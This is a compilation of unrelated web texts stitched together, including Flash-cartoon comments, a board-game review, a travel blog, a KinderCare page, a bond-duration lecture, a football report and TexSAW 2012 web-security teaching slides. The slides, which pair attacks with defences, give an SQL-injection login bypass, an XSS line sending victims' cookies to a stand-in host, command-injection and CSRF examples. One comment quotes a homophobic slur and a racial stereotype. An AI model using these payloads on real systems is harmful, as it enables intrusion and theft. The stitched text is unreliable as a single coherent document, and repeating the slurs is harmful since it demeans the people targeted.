Donaji & the Magical Poncho
This is the story of a fearless girl and her encounter with the wicked cold wind god
4.29 / 5.00 4,090 ViewsThe tradition continues! The class 'Joy of Juice' returns in its third incarnation. For those of you who don't know (most of you) 'Joy of Juice' was my very first Clock movie, three years ago. I've made it a tradition to recreate it on every Clock Day.
(title in work)
^^Good Points^^
Hehe, that was great. The graphics were very clean. Life-like shading throughout. The music was good through this movie as well, especially the 8-bit Moskau at the end. Best part of this movie was the sound effect that the can made when he got shot. Made me laugh.
^^Needs Improving^^
That really doesn't sound like clocks talking. Sounds like a bunch or ghetto black men to me.
"we dont fucking sell juice anymore, faggot" "bitch, i need my juice! *gunshot*" i was expecting like a remake from the previous which made me laugh ^^
Cool movie, but too short.
BTW: The song in the End: the Copyright does not belong to Nintendo, but to a german Folksinger whose name i forgot. The SOng is named Moskau and played in every disco in germany at least once a day it is the frigging most awesome dancehit ever made!
watch me breaka yo stride!
damn... just when i thought your style was dead sexy last year, you gotta blow me away once again! FUCK. seriously, your style now is soooo amazing, i could watch this flash all damn day. once again, the juice resurfaces, although this time with a much different ending! i honestly didn't see it commin' :P i really liked that van passing by.. hahaha, very clever, had to pause it to read it ;) SBC's gun looked a little rushed though, in comparison to the rest of this epic masterpiece. just about every damn part of this was perfect, even the short little moscow 8 bit credits, to the WHOOPSIE at the end. seriously tremclad... how are you gonna top this next year? guess we'll have to wait and see! mmmm *drools thinking about it*
oh sorry, i mean, happy late clock day, buddy!

Review of Blend Off!
Blend Off! is a real time game in which all players are frantically rolling dice to collect fruit, blending smoothies, and filling orders to earn gold stars. Makes total sense, right? To best understand the theme and mechanisms of the game, it's important to know the backstory. Here it is as told in the rules…
Blend it Like Becca — a small-town smoothie shop sensation! It's been a slow night. Becca the shop owner, Kevin the runner boy, and the Master Mixers – including you! – have started closing up shop. One minute before close, the door swings open. Outside, you see parked school buses and a line of people all the way to the street corner! The high school girls' volleyball tournament has just gotten out, and everyone is craving a smoothie for the ride home. Becca cuts a deal: whoever blends the most smoothies tonight gets free smoothies for a month! The Blend Off has begun, and only one can win. There's just one problem: Kevin. Skittish at best on normal days, he flies into a frenzy, grabbing fruit for you from the fridge at random. Take the fruit Kevin brings, complete the orders Becca calls back, and blend your way to victory!
In the game, players represent the Master Mixers who are competing to blend the most smoothies. Each Master Mixer rolls a Fruit Die representing Kevin\ and the random fruits he retrieves from the refrigerator. The deck of Blender Cards represents Becca who is continuously calling out smoothie orders to be filled. Unlike many games, there are no individual turns. Players are all playing and taking actions simultaneously until the game ends (when Becca is out of orders). The player that earned the most gold stars from blending smoothies is the winner.

Day 47 - 50 : The introduction of 'Fiddy Centro'
Trip Start
Mar 23, 2010
Trip End
Mar 23, 2011
Whilst most people would travel for months through Europe in a campervan, or perhaps a VW Caddy, as we may have originally thought to do ourselves, we have instead decided to (I personally think its fate), gone with a 1993 Fiat Cinquecento - a car normally reserved for 20 minute trips to the local store. To give you the scoop, it is an Italian made car - the only to be solely manufactured in Poland - and features a hair-raising 900cc engine which does not break through the 40hp threshold (something capable by most ride-on lawnmowers). It has a sun-roof and power nothing (the sun roof opens by manually turning a knob on the car ceiling). An amazing interior, as previously described and pictured below, 2 doors, 2 front seats, a steering wheel and enough space in the back to almost fit our luggage. It does have a new MP3 CD stereo, with a completely necessary remote control. At 5L/100km, it uses less petrol than a horse and carriage.
I loved this car the moment I saw it, and after 3 weeks of incessant whining, ranting, convincing and proclaiming that it is the perfect vehicle to travel Europe in no less than 3 month stints at a time, Ann finally agreed that she might be willing to give it a test run to Monaco (for the F1).
Decked out with a portable gas stove, curtain, fold-up mattresses, pop-up tent, sleeping bags and an abundance of other creature comforts, we are ready to roll!...
(wish us luck)

Part 6 Meta-topics: Ethics, sampling, and consent Psychological Science on the Internet: Designing Web-Based Experiments From the Ground Up R. Chris Fraley | AMASS 2006
Ethics and informed consent According to federal guidelines ( http://ohsr.od.nih.gov/guidelines/45cfr46.html ), most research conducted on-line should be deemed "exempt" by IRBs (IRBs, not you, must make that determination.) http://ohsr.od.nih.gov/guidelines/45cfr46.html Why? Most tests and surveys are exempt unless "information obtained is recorded in such a manner that human subjects can be identified, directly or through identifiers linked to the subjects" (sect 46.101 b 2) If personal information is not obtained, there is no way to trace a person's responses back to him or her.
Ethics and informed consent Moreover, consent can be waived if the research involves no more than minimal risk to subjects, where minimal risk is defined such that "the probability and magnitude of harm or discomfort anticipated in the research are not greater in and of themselves than those ordinarily encountered in daily life or during the performance of routine physical or psychological examinations or tests" (section 46.102 i). People can withdraw literally at any time—with no social norms influencing their participation.
Sampling concerns Are Internet participants representative of the population? –No. Are traditional college samples less representative than Internet samples? –Yes.
WebJPSP Male43%23% SES 1.1% poor 15.4% working class 5.5% lower middle class 46% middle class 29.2% lower middle class 2.8% upper middle class SES only reported for 5- 10% of articles; 85% university students (only 27% of general population have college degrees) AgeM = 27.6M = 23 CountrybroadTypically based on one culture Ethnicity77% white80% white Comparison of Web-based samples and JPSP-based samples From Gosling, Vazire, Srivastava, & John (2004)
Careless data An assumption that web participants won't take the research seriously: –Provide false answers –Careless –Sabotage This assumption begs the question of why people would want to participate in research in the first place.
Careless data People participate because they want to gain some self-insight, they want their opinions to be known, their friends suggested the site, or they just want to have some fun and do something interesting. Web folks are fickle; they are not going to waste their time as a means to wasting your own.
Careless data Assuming people are intrinsically interested in participating, there are problems that emerge: –Press submit button twice, leading to duplicate entries –Try the study multiple times, to see how their feedback is affected Discussion of solutions to these problems. –"done it before" buttons with default to "yes" –Random code that gets submitted with response; allows duplicate entries to be sorted and deleted
Making your site known Create a stable (always present) home page for your lab or research site. Register the URL for that site at search engines, such as yahoo: http://docs.yahoo.com/info/suggest/ http://docs.yahoo.com/info/suggest/ APS, SPSP, and other organizations sometimes list URLs to on-line psychological research
Seven guidelines for maximizing participation rates Make the study interesting. –If the main research is not interesting, add something interesting to the design. Make it short. –No more than 10 to 15 minutes. Minimize legalese –People surfing the web know they can leave at any time. Don't bog them down in text that they won't want to read.
Seven guidelines for maximizing participation rates Promise feedback –On your introductory page, explain clearly (and concisely) what people will be doing and what they will receive in response Deliver good feedback –If your feedback is informative, people are likely to pass the link on to friends and feel that they did not waste their time Do not collect personal information –Do not make feedback or participation contingent upon registration. Do not use pop-up ads on your site. –If it seems commercial, people may not trust it as much.

Vicuña-Cashmere Blend
Buttery-soft is only part of the story with this gem. Dating back to the Incas, Vicuña has been a prized and protected species for centuries. To protect themselves from extreme climate conditions, these natives of the Andes Mountains produce an exquisitely fine fiber that, averaging 13.5 microns thin, is both more fine and rare than cashmere. It's knit with a high 240 needle count for enhanced breathability, and it's made with an intimate blend of silk for enhanced strength and durability. Radically soft and light, this Vicuña fabric is pure luxury to wear year-round.
50% CASHMERE, 20% VICUÑA, 30% SILKFEEL: BUTTERY-SOFT / Silky Soft / Balanced / Textured
GAUGE: Fine Semi-Sheer / Thin-Opaque / MEZZO / Full-Bodied

It looks like passing a bad value to the get variable "feed" gives an HTTP response 500 (see http://ma.tt/?feed=1234). That doesn't sound like the right response. It seems like it should be a 40x response. I read the Status Code Definitions, but I'm not totally sure which one is most appropriate. The attached patch changes it to send a 404.

I would agree that it should be either a 404 or a 401 (Bad Request).
I imagine you mean 400 -- 401 is for a failed HTTP auth.
404 seems fine to me if we want to be more generic than 400.

Sounds like 404 makes sense then. Can we get this applied?

Thanks. Do you think there's any chance of getting this into the 2.9 branch?
I'd like to be able to tell my client (the one where I discovered the issue) that they're safe to do any upgrades...rather than tell them they're safe to upgrade "once 3.0 is out"

First Morning[CD]~ Information SuperhighwayProduct Notes
'Rob Clearfield writes songs of breath-taking beauty and he's a wonderful pianist, too!" ~Marilyn Crispell (ECM Records; Anthony Braxton Quartet) "Leslie Beukelman has such a natural way about her singing. Her pitch, her range, her sound, her interpretation is extraordinary.' ~Maria Schneider (Grammy Award Winning Artist) 'Fresh, super-cool,' ~Grazyna Auguscik (GMA Records) 'Rob Clearfield...is a star in the making. Drawing on disparate influences-progressive and modern rock, gospel and straight jazz-First Morning is the result of his collaboration with vocalist Leslie Beukelman, whom he met at the Chicago College of Performing Arts. Together they create both tender, spellbinding beauty, as on 'Your Voice-Part 1,' and pulsating, assertive dynamics, as on 'Simple Unfolding.' The closing track, 'Song for a Child,' is an earnest jazz lullaby, with Clearfield's piano sketching streaks of twilight.' ~Louis R. Carlozo (Christian Century; Chicago Tribune) Debut recording from one of Chicago's most promising young bands.

In Real Steel — a movie about boxing robots — Hugh Jackman looks as if he's about to jump out of his skin. Forced to compete with tons of clanging heavy metal, an amped-up Jackman always seems to be trying for a knockout as a former boxer who now competes in the world of robot pugilism. The sport, if that's what it is, looks like a cross between cage fighting and professional wrestling.
Look, robot boxing isn't a half bad idea for a movie: Set in the near future, Real Steel suggests that we've reached a point where men no longer beat each other to a pulp, but use robots to channel their aggression. Too bad, a woefully unsophisticated script ties robot boxing to a sappy and overly familiar father/son story.
Jackman plays Charlie, a neglectful father who, during the course of the movie, gets to know his 11-year-old son (Dakota Goyo). It seems Charlie, an archetype of irresponsibility, skipped out on the boy's mother when he learned she was pregnant. After Mom's death, Charlie agrees to spend a summer with his son, providing the boy's uncle pays him off.
You needn't have studied film theory to know that the initial testiness between father and son will develop into something more affectionate. Nothing wrong with that, I suppose, but director Shawn Levy, best know for his work on the Night at the Museum series, doesn't exactly demonstrate a deft touch.
The supporting cast includes Hope Davis, as the boy's aunt, and Anthony Mackie, as a fight promoter, but people are secondary to the boldly presented smash-and-crash robot fights that develop as Charlie and son advance the career of Atom, a discarded sparring robot that earns a shot at the title.
Real Steel is far too predictable to garner much respect, but it did leave me with one question: Why wasn't it released during the summer, when it's a lot easier to forgive noise, immaturity and an onslaught of cliches?

TEXSAW 2012 WEB SECURITY CRASH COURSE TexSAW 2012 Scott Hand
Recommended Tools Web browser – Firefox is recommended because of TamperData, Live HTTP Headers, etc. Knowing Python helps Very little else is needed, Backtrack Linux is useful for many automated tools
What We're Targeting Web Applications Web Pages (HTML, PHP, etc.) Databases Goal Steal data Gain access to system Bypass authentication blocks
Web Servers Web applications are really just an interface for accessing a web server Example Web Servers: Apache IIS Nginx Self-contained servers for one application – Ruby on Rails, Django, Sinatra, node.js, etc. Some servers like Apache resemble navigating a file system, others use RESTful routing
HTTP HTTP is the means of communication It is stateless We get around this by using sessions Sessions are stored in browser cookies Side effect – If we steal someone's cookies, the web server will think we are the same user
HTTP Requests Web traffic involves a Request and a Response GET and POST are two main request methods GET is for an action intended to ask the server for information POST is for an action intended to tell the server to do something Examples: GET used for showing your profile on a web site, POST used to update your profile information
HTTP Request Parameters Along with the URL and request method, HTTP requests can also carry parameters GET parameters Visible from the url: http://www.url.com/page.php?arg1=a&arg2=b Can be embedded easily in links POST parameters are not visible from the URL and not easily embedded in links, however they can easily be altered
Example Scenario
Example Exchange for a Bank Site Viewing Homepage UserWeb Server GET GET: index.php INDEX Database
Example Exchange for a Bank Site Logging In POST POST: login.php Parameters: username, password Redirect to account Auth OK UserWeb Server Database SET UP SESSION
Example Exchange for a Bank Site Transferring Some Money POST POST: transfer.php Parameters: to, amount Redirect to account Make changes OK UserWeb Server Database
Parameter Tampering
Tools TamperData – Extension for Firefox Can intercept and modify requests Pretty powerful but can be tedious to use repeatedly Live HTTP Headers – Extension for Firefox Good for monitoring and replaying requests Fast and good as long as replaying traffic works Burp Suite Separate program, works through proxy – browser agnostic Can do just about everything
Example Attack POST POST: transfer.php Parameters: to, amount Redirect to account Make changes OK UserWeb Server Database
Parameter Tampering Example of real-life attack – PayPal was used by vendors to handle transactions. They trust PayPal and PayPal trusts them. They trust that once they send the transaction to PayPal, it will be resolved and they can send the product when the transaction is complete PayPal trusts that the information sent to them by the vendor, through the users' browser (!!!), is correct If we change the amount we pay to something small, neither party knows and we get the product for nothing
Tips for Securing Don't trust requests by themselves! Many frameworks will sign requests that they send to prevent tampering Thinking that users can't alter POST data because they can't see it in their address bar is just weak security through obscurity
SQL Injections
Overview SQL injection is part of a class of attacks in which we abuse poor programming to embed user- controlled data in trusted code run by the server Vulnerable code consists of SQL queries being built using string concatenation or interpolation with user tainted variables: $query = "SELECT * from users ". "WHERE username = '". $username. "' AND password = '". $password. "'";
Example Attack POST POST: login.php Lets look at the SQL and the attack... Redirect to account Auth OK UserWeb Server Database
Behind the Scenes for login.php $query = "SELECT * from users ". "WHERE username = '". $username. "' AND password = '". $password. "'"; Examine the result to see if the user is selected. Sample normal query after input: SELECT * from users WHERE name='user' AND password='password' Sample attack password: ' OR '1'='1 Resulting query: SELECT * from users WHERE name='user' AND password='' OR '1'='1' Always returns true, bypasses authentication
Other Types of Attacks Can add INSERTS, UPDATES, etc. if multiple queries are supported Blind SQL Injection Needed when the results of a query are not displayed or even acknowledged Use side channel attacks – sleep for a certain amount of time if the first character of password is 'a', repeat for each letter until a match is found then repeat for each character in password sqlmap works wonders to help automate this
Tips for Securing USE PREPARED STATEMENTS Don't plug user input into queries Don't escape user tainted queries SERIOUSLY USE PREPARED STATEMENTS THEY'RE NOT EVEN HARD TO USE
Cross Site Scripting (XSS)
Overview Basic idea is to exploit the trust that your browser places in the website it's viewing Embed malicious code in the webpage and your browser will execute it Two Types: Reflected – Client-side. In request parameters or URL. Requires that a user click the malicious link or form. Stored – Server-side. Embedded in a web page and hits every visitor that views the page.
Some Goals Steal cookies Since JavaScript can access cookies, you can send the victim's cookies to yourself: $.get('www.badurl.com/?cookie=' + document.cookie); Mimic real user behavior Fill out and submit forms Open IFRAMEs to maintain access Redirect to other pages
Example Exchange for a Bank Site Viewing Homepage UserWeb Server GET GET: index.php INDEX Database Infect Bad Guy Session
Tips for Securing Developers Never, ever allow unauthorized users the ability to embed HTML into your page. Escape every single bit of user input you get, it's all dangerous Users Use NoScript or similar plugin Don't click a link with a bunch of JavaScript in the URL
Cross Site Request Forgery (CSRF)
Overview Exploit the trust that the web server places in the victim's browser It's difficult for a site to distinguish between legitimate requests and requests that an attacker caused Not the same as XSS (which exploits browser's trust in site), but plays very well with XSS – CSRF is often made more deadly by XSS
Example Exchange for a Bank Site Transferring Some Money POST POST: transfer.php Parameters: to=BAD GUY, 1000000 Redirect to account Make changes OK User Web Server Database Bad Guy
Ways to Trigger An image: XSS: $.get('./profile.php', function(data) { // evil });
Tips for Securing Only trust requests from your site Use CSRF-protection tokens – one time tokens for forms – included in most web frameworks Don't make things like bank transfers or log outs a GET request, that just makes life easier for attackers Not much you can do as a user
General Tips
Look at Requests! Use TamperData, firebug, Chrome Developer Tools, Live HTTP Headers, etc. Look closely at things that you can tamper to change the behavior of the application – sometimes the developer trusted that data and nothing will stop you
Inject Everything If you think it's using your data in SQL, try some SQL injection If you think it's using embedding your data in a program call (`ping $address`) then inject via things like && If you think it's running HTML, throw in some JavaScript
Situational Awareness Pay close attention to what kind of web server you're dealing with Some web servers or web frameworks are more susceptible than others to certain attacks For example, many web frameworks are good at preventing HTML injection, but tend to trust HTTP requests too much Keep an eye out for home brewed stuff – whether it be crypto, injection escaping, web servers, etc. – it's probably not as well vetted against malicious input
JavaScript – It does a lot If you have jQuery on your website, use it! You can issue requests and parse the results with $.get() and $.post(). These are so helpful for enhancing XSS attacks (example: do a GET to a user's profile page, pull their info from the form, POST it to your page) It gives you tools for shorter JavaScript payloads, especially handy when space is critical Pretty much anything on the user's end can be scripted and altered
Any questions?

Elementary Schools Bussed To:
Olympic View, Twin Lakes, Silver Lake, Mirror Lake
At First Avenue KinderCare Learning Center we are passionate about our kids!
We believe and practice the "Whole Child" approach to early learning. We focus on all areas of development, and all curriculum is designed around the 6 Early Learning Domains:
1.Cognitive Development- This is linked to children's ability to acquire knowledge by thinking about,coming to understand,and interacting with the world around them.
2.Creative expression- This addresses children's interests in the arts and their desire and ability to express themselves creatively.
3.Executive Function- Focuses on the development of self-regulation,attention and persistence,as well as general dispositions toward learning.
4.Language and Literacy Development- Involves children's abilities to convey their ideas,thoughts,and feelings through speaking and writing,as well as their ability to demonstrate early reading skills.
5.Physical Development and Wellness- Involves large and small muscle skills,movement concepts,strength and stamina,and awareness,attitudes,and knowledge needed to live a healthy lifestyle.
6.Social and Emotional development- Has to do with children's ability to express and regulate their feelings and develop relationships with others.
Children learn through play, it is the "work" of children. They learn and grow from everything they see, touch or hear, and the best part of all is they are having fun doing it! It is our job to set up our environment to make the most of that.
*We have a delicious/nutritious menu that is geared towards feeding growing bodies and minds.
* We have beautiful outdoor areas to see and explore. *We have an excellent School Age program that focuses on homework, activities to challenge the minds of older children and just plain fun.
*We have summer/spring camps to keep the kids busy and engaged during the times when elementary school is out.
Call us anytime to book a tour of our school!

We're so proud!
Nationally only 10% of daycares are accredited–nearly 100% of our learning centers are. That's a big difference, and that means KinderCare kids are getting the very best. Here's why.
Our kids are taking off!
By kindergarten, our kids are testing ahead of their peers. Read all about it.
Many of our child care centers are accredited by national organizations that require us to meet rigorous early childhood education standards and guidelines for high-quality care and education. Programs that are accredited have demonstrated their commitment to go beyond the state's minimum licensing requirements to meet and maintain these high standards of quality.
Monthly Activities
Children 6 weeks to 3 years old: Amazing Animals
Animals really are amazing, and this month the children in the Infant and Toddler Classrooms are learning all about them. We'll read about both domestic and wild animals and base our activities and play around them as well. Besides singing songs, crafting, and talking about different animals, we'll also bring in pictures of our pets, make our own animal sounds and movements, and incorporate animals into cognitive, literacy, and mathematic learning appropriate for each age group. For example, the older children in Discovery Preschool will count goldfish crackers or spots on a dog, while the littlest ones will keep developing their senses by sorting and playing with stuffed animals that have different kinds of pretend fur. This is a very sweet and fun unit for children in each class!
Children 4–5 years old: The Sky and Weather + My Imagination
The four- and five-year-olds will turn their attention to the sky and explore the bounds of their own imaginations this month. Children will learn how clouds and different kinds of weather are created, and do fun theme-related activities like create whipped-topping storm clouds or pretend to be a weather reporter. Our Transitional Kindergarten class will take their learning even farther by doing basic research into how rainbows are formed. The second half of the month will give children a big chance to express themselves through art, music, and drama. We'll use classic stories like The Three Little Pigs to spark children's creativity and see where their imaginations lead. As always, we weave our themes into literacy and math activities, and place a focus on building both English and Spanish vocabulary.
At KinderCare, our summer adventures are designed for learning and fun. We love taking our experiments outside, having special guests visit our centers, and even exploring our senses on walks outside or by rolling around in the cool grass. We can't wait to meet you and show you what makes our centers special and why we would love to spend our summer with you!
Our Programs
Infant Programs (6 weeks - 1 year)
Babies grow and learn every day. Our goal is to provide a safe and nurturing "home away from home" where babies can explore and make new discoveries. We know that learning through play is extremely valuable at this age and our Early Foundations® Infant program is designed to give babies the skills that will serve as the building blocks for a lifetime of learning.
Toddler Programs (1 – 2 Years)
As toddlers develop friendships, self-esteem, and curiosity, our Early Foundations® Toddler program will help them explore their world in a safe and nurturing environment. Our unique curriculum is based on the philosophy that children learn best through experiences. So each day is filled with fun activities that excite and develop toddlers, giving them the comfort and confidence to speak those first few important words, as well as make their first friends.
Discovery Preschool Programs (2 – 3 Years)
At this age, children are making new discoveries daily. And as two-year olds begin to exert their independence, our Early Foundations® Discovery Preschool program is prepared to open their eyes to a world of learning, sharing, and exploring. Our holistic approach in the classroom engages young minds with a blend of music, art, and movement, as well as the early education fundamentals they'll need as they continue on to preschool.
Preschool Programs (3 – 4 Years)
As preschoolers gain more self-esteem, they may feel ready to take on the world. Our Early Foundations® Preschool program enhances that confidence by providing activities to help children become problem solvers and lifelong learners. Through independent exploration, structured activities, and hands-on learning, children will work on early literacy, math, science, and social studies concepts. A healthy dose of running, jumping, and dancing keeps them active too.
Prekindergarten Programs (4 – 5 Years)
Prekindergartners are preparing for the adventure of a lifetime – school. And our Early Foundations Prekindergarten® program is designed to get them ready by teaching letters and words, math concepts, and valuable social skills. With small group instruction, independent play in an organized atmosphere, and whole-group activities, children will have all the right skills to hop, skip, and jump right into kindergarten.
Before- & After-School Programs (5 – 12 Years)
Even after school's out for the day, children need to be engaged in a comfortable, yet stimulating environment. That's where our Catch the Wave® program comes in. This innovative before – and after-school program allows school-age children to balance learning and fun through a variety of experiences. From homework help to fun physical activities, our program is designed so that everyone goes home happy.
Interactive Kindergarten (5 - 6 Years)
A full-day interactive Kindergarten program that utilizes new curriculum with an interactive smart board making first grade readiness a priority.
Summer Programs (preschool, prekindergarten, and school-age)
Don't miss out on KinderCare's Summer of Wonder: Six themed programs that will make summer exciting, educational and tons of fun. Whether your child is in our preschool, Pre-K or school-age programs, all of it is designed to help children learn while soaking up the fun. We offer flexible scheduling options to meet the needs of busy families like yours so we hope to see you there.
Learning Adventures - Enrichment Program
Ongoing research proves that early exposure to music helps children think, reason, create, and express themselves. Children will laugh and learn about rhythm, vocal melodies, and a variety of musical genres and instruments, which can lower stress and advance memory. Learning never sounded so good.
Phonics & Reading Adventures
Set your child up for advanced success with literacy through phonics, the study of letters and sounds. Reader books, games, and activity cards help your child understand the basics of vowels and blending syllables, giving him confidence and command of language.

The story of Saint Peter Martyr, a Dominican friar and inquisitor, is told in the 'Golden Legend'. In 1252, he was ambushed on the road to Milan by assassins hired by local Cathar heretics. He was wounded in the head and stabbed repeatedly. His last action, shown here, affirms his faith - he is writing 'credo' ('I believe'), in his own blood. Peter Martyr was recognised as a saint by the Pope. He became an important figure for Dominicans, ranking alongside the founder of the order, Saint Dominic.
X-rays show that the stance of Peter Martyr's murderer was changed from upright to stooping. Drawings made by Bellini for the new figure groups must have been reused as the basis of a workshop version at the Courtauld Institute, London. The four central figures of this work repeat exactly the outlines of those in the National Gallery picture. The Courtauld version once had the date 1509 on its reverse. The National Gallery picture, perhaps painted with assistance, probably dates earlier, to about 1507.
The woodsmen in the background chopping trees (which bleed in the Courtauld version) are intended to remind us of the way in which the saint was killed.

1 Applying Duration A Bond Hedging Example Global Financial Management Fuqua School of Business Duke University October 1998
2 l Duration is defined as a weighted average of the maturities of the individual payments: »This definition of duration is sometimes also referred to as Macaulay Duration. l The duration of a zero coupon bond is equal to its maturity. Duration: A Definition
3 l Calculate the average maturity of a bond: »Coupon bond is like portfolio of zero coupon bonds »Compute average maturity of this portfolio »Give each zero coupon bond a weight equal to the proportion in the total value of the portfolio l Write value of the bond as: The factor: is the proportion of the t-th coupon payment in the total value of the bond: PV(C t )/B Duration Approximating the maturity of a bond
4 l Calculate the duration of the 6% 5-year bond: l Calculate the duration of the 10% 5-year bond: l The duration of the bond with the lower coupon is higher »Why? Calculating Duration
5 Duration: An Exercise l What is the interest rate sensitivity of the following two bonds. Assume coupons are paid annually. Bond A Bond B Coupon rate 10% 0% Face value $1,000 $1,000 Maturity 5 years 10 years YTM 10% 10% Price $1,000 $385.54
6 Duration Exercise (cont.) n Percentage change in bond price for a small increase in the interest rate: Pct. Change = - [1/(1.10)][4.17] = - 3.79% Bond A Pct. Change = - [1/(1.10)][10.00] = - 9.09% Bond B
7 Duration Exercise (cont.)
8 Duration of Bonds: Data The Difference between Duration and Term to Maturity can be substantial Only Duration gives the correct answer for assessing price volatility
9 l For a zero-coupon bond with maturity n we have derived: l For a coupon-bond with maturity n we can show: »The right hand side is sometimes also called modified duration. l Hence, in order to analyze bond volatility, duration, and not maturity is the appropriate measure. »Duration and maturity are the same only for zero-coupon bonds! Duration and Volatility
10 Duration and Volatility The example reconsidered l Compute the right hand side for the two 5-year bonds in the previous example: » 6%-coupon bond: D/(1+r) = 4.44/1.08=4.11 »10%-coupon bond: D/(1+r) = 4.20/1.08=3.89 l But these are exactly the average price responses we found before! »Hence, differences in duration explain variation of price responses across bonds with the same maturity.
11 Is Duration always Exact? l Consider the two 5-year bonds (6% and 10%) from the example before, but interest rates can change by moving 3% up or down: l This is different from the duration calculation which gives: » 6% coupon bond: 3*4.11%=12.33%<12.39% »10% coupon bond: 3*3.89%=11.67%<11.73% l Result is imprecise for larger interest rate movements »Relationship between bond price and yield is convex, but »Duration is a linear approximation
12 Hedging a Payment Using Duration l Suppose you have a fixed liability exactly two years from now of $10,000, »can choose from two bonds to invest in with face value of $1,000: –A zero-coupon bond with maturity one year –A zero-coupon bond with maturity 3 years »Which bond should you invest in (or portfolio)? »Current yields to maturity are 8% on both bonds »Need to invest today: l Suppose interest rates can change immediately after investment.
13 Unhedged Portfolios I: Reinvestment risk l Strategy 1: Invest only in 1 year bond, then reinvest: »Duration of portfolio = 1 »Bond price today = $926 »Invest in $8,753/$926=9.259 of these bonds »Receive $9,259 exactly one year from now l Portfolio value at year 2: »Reinvestment risk if interest rates change
14 Unhedged Portfolios II: Capital Risk l Strategy 2: Invest only in 3 year bond, sell in 2 years: »Duration of portfolio = 3 »Bond price today = $794 »Invest in $8,753/$794=10.8 of these bonds »Mature at $10,800 exactly 3 years from now: l Portfolio value at year 2: l Capital risk of selling bond at year 2 if interest rates change »Works in opposite direction!
15 Hedged Portfolios An Application of Duration l Construct portfolio that matches duration of liability = 2 »Invest so that: »Hence Value of 1-year bonds = Value of 3-year bonds =$8573/2=$4287 –4287/926=4.63 1-year bonds Mature at t=1 with $4,630, then reinvest –4287/794=5.40 3-year bonds Mature at t=3 with $5,400, sell in 2 years
16 Hedged Portfolio Results l Results for portfolio with matched duration Observations: »Still reinvestment risk with short bond, price risk with long bond, cancel in duration-matched portfolio »Error increases with higher fluctuations due to convexity

Bayern Munich will take a slender 1-0 lead to Portugal after an organised defensive display from Benfica at the Allianz Arena in the Champions League quarter-final first leg.
Arturo Vidal's second-minute goal was all that separated the two teams on an evening when Bayern were unusually subdued for long periods and struggled to break down their opponents, who grew into the game as it went on.
Pep Guardiola hailed Benfica's defensive unit as Europe's best in the build up to the game. While that was not evident early on as Bayern scored with their first attack, the claim held water for much of the contest as the likes of Thomas Muller, Franck Ribery, Robert Lewandowski and Douglas Costa were largely kept quiet.

The visitors will be disappointed with the goal they conceded, though.
One switch of play caught out the entire Benfica back line and after Ribery and Lewandowski exchanged passes, Juan Bernat curled in a cross and Vidal had timed his run into the box perfectly to head past Ederson.
Article continues below
Another diagonal pass after 10 minutes almost had them in trouble again as Eliseu Pereira was left exposed against Douglas but Ederson did well to smother and hold the low shot from his fellow Brazilian with Lewandowski lurking for any rebound.
Ederson then kept out a Lewandowski volley as Bayern threatened to add a second goal.
At the other end, Benfica asked for a penalty when Nicolas Gaitan's low cross struck the trailing arm of Philipp Lahm as he slid in to make a block but Polish referee Szymon Marciniak was unmoved.
Ederson's alertness thwarted the hosts once more just after the half-hour mark following a clever free-kick from Thiago Alcantara, whose deft flick over the defensive wall would have dropped nicely for Muller to shoot had the goalkeeper not rushed to the edge of his six-yard box to smother the ball at the German's feet.
Vidal mis-timed a header when in a good position as another chance came and went for Guardiola's team but the former Juventus midfielder made amends in his own penalty area in first-half stoppage-time, sliding in to block a goalbound effort from Gaitan.
Benfica went close again shortly after half-time when top scorer Jonas Oliveira, with 32 goals this season in all competitions, spun away from David Alaba inside the penalty area but hit his shot straight at Manuel Neuer when faced with the Bayern keeper.
The Portuguese had their tails up and it took a block from substitute Javi Martinez just in front of his own goal line to preserve Bayern's lead as Jonas' goalbound shot struck his chest. The Brazilian then snatched at the rebound and sliced the ball high and wide on the volley.
Ederson was not worked again until the 80th minute, repelling a Ribery effort with his foot following a direct run goalwards from the pacey forward.
Lewandowski had few sights of goal and his header from Muller's corner was over the crossbar. The Poland international then spurned a glorious chance to make it 2-0, rejecting the opportunity to shoot from Vidal's through ball and instead over-hitting his attempt to tee-up Lahm with the goal gaping.
It was a massive let off for Benfica who will be much the happier of the two sides ahead of the return leg at the Estadio da Luz next week.
Will Bayern Munich progress into the semi-finals of the Champions League? Let us know in the comments box below!
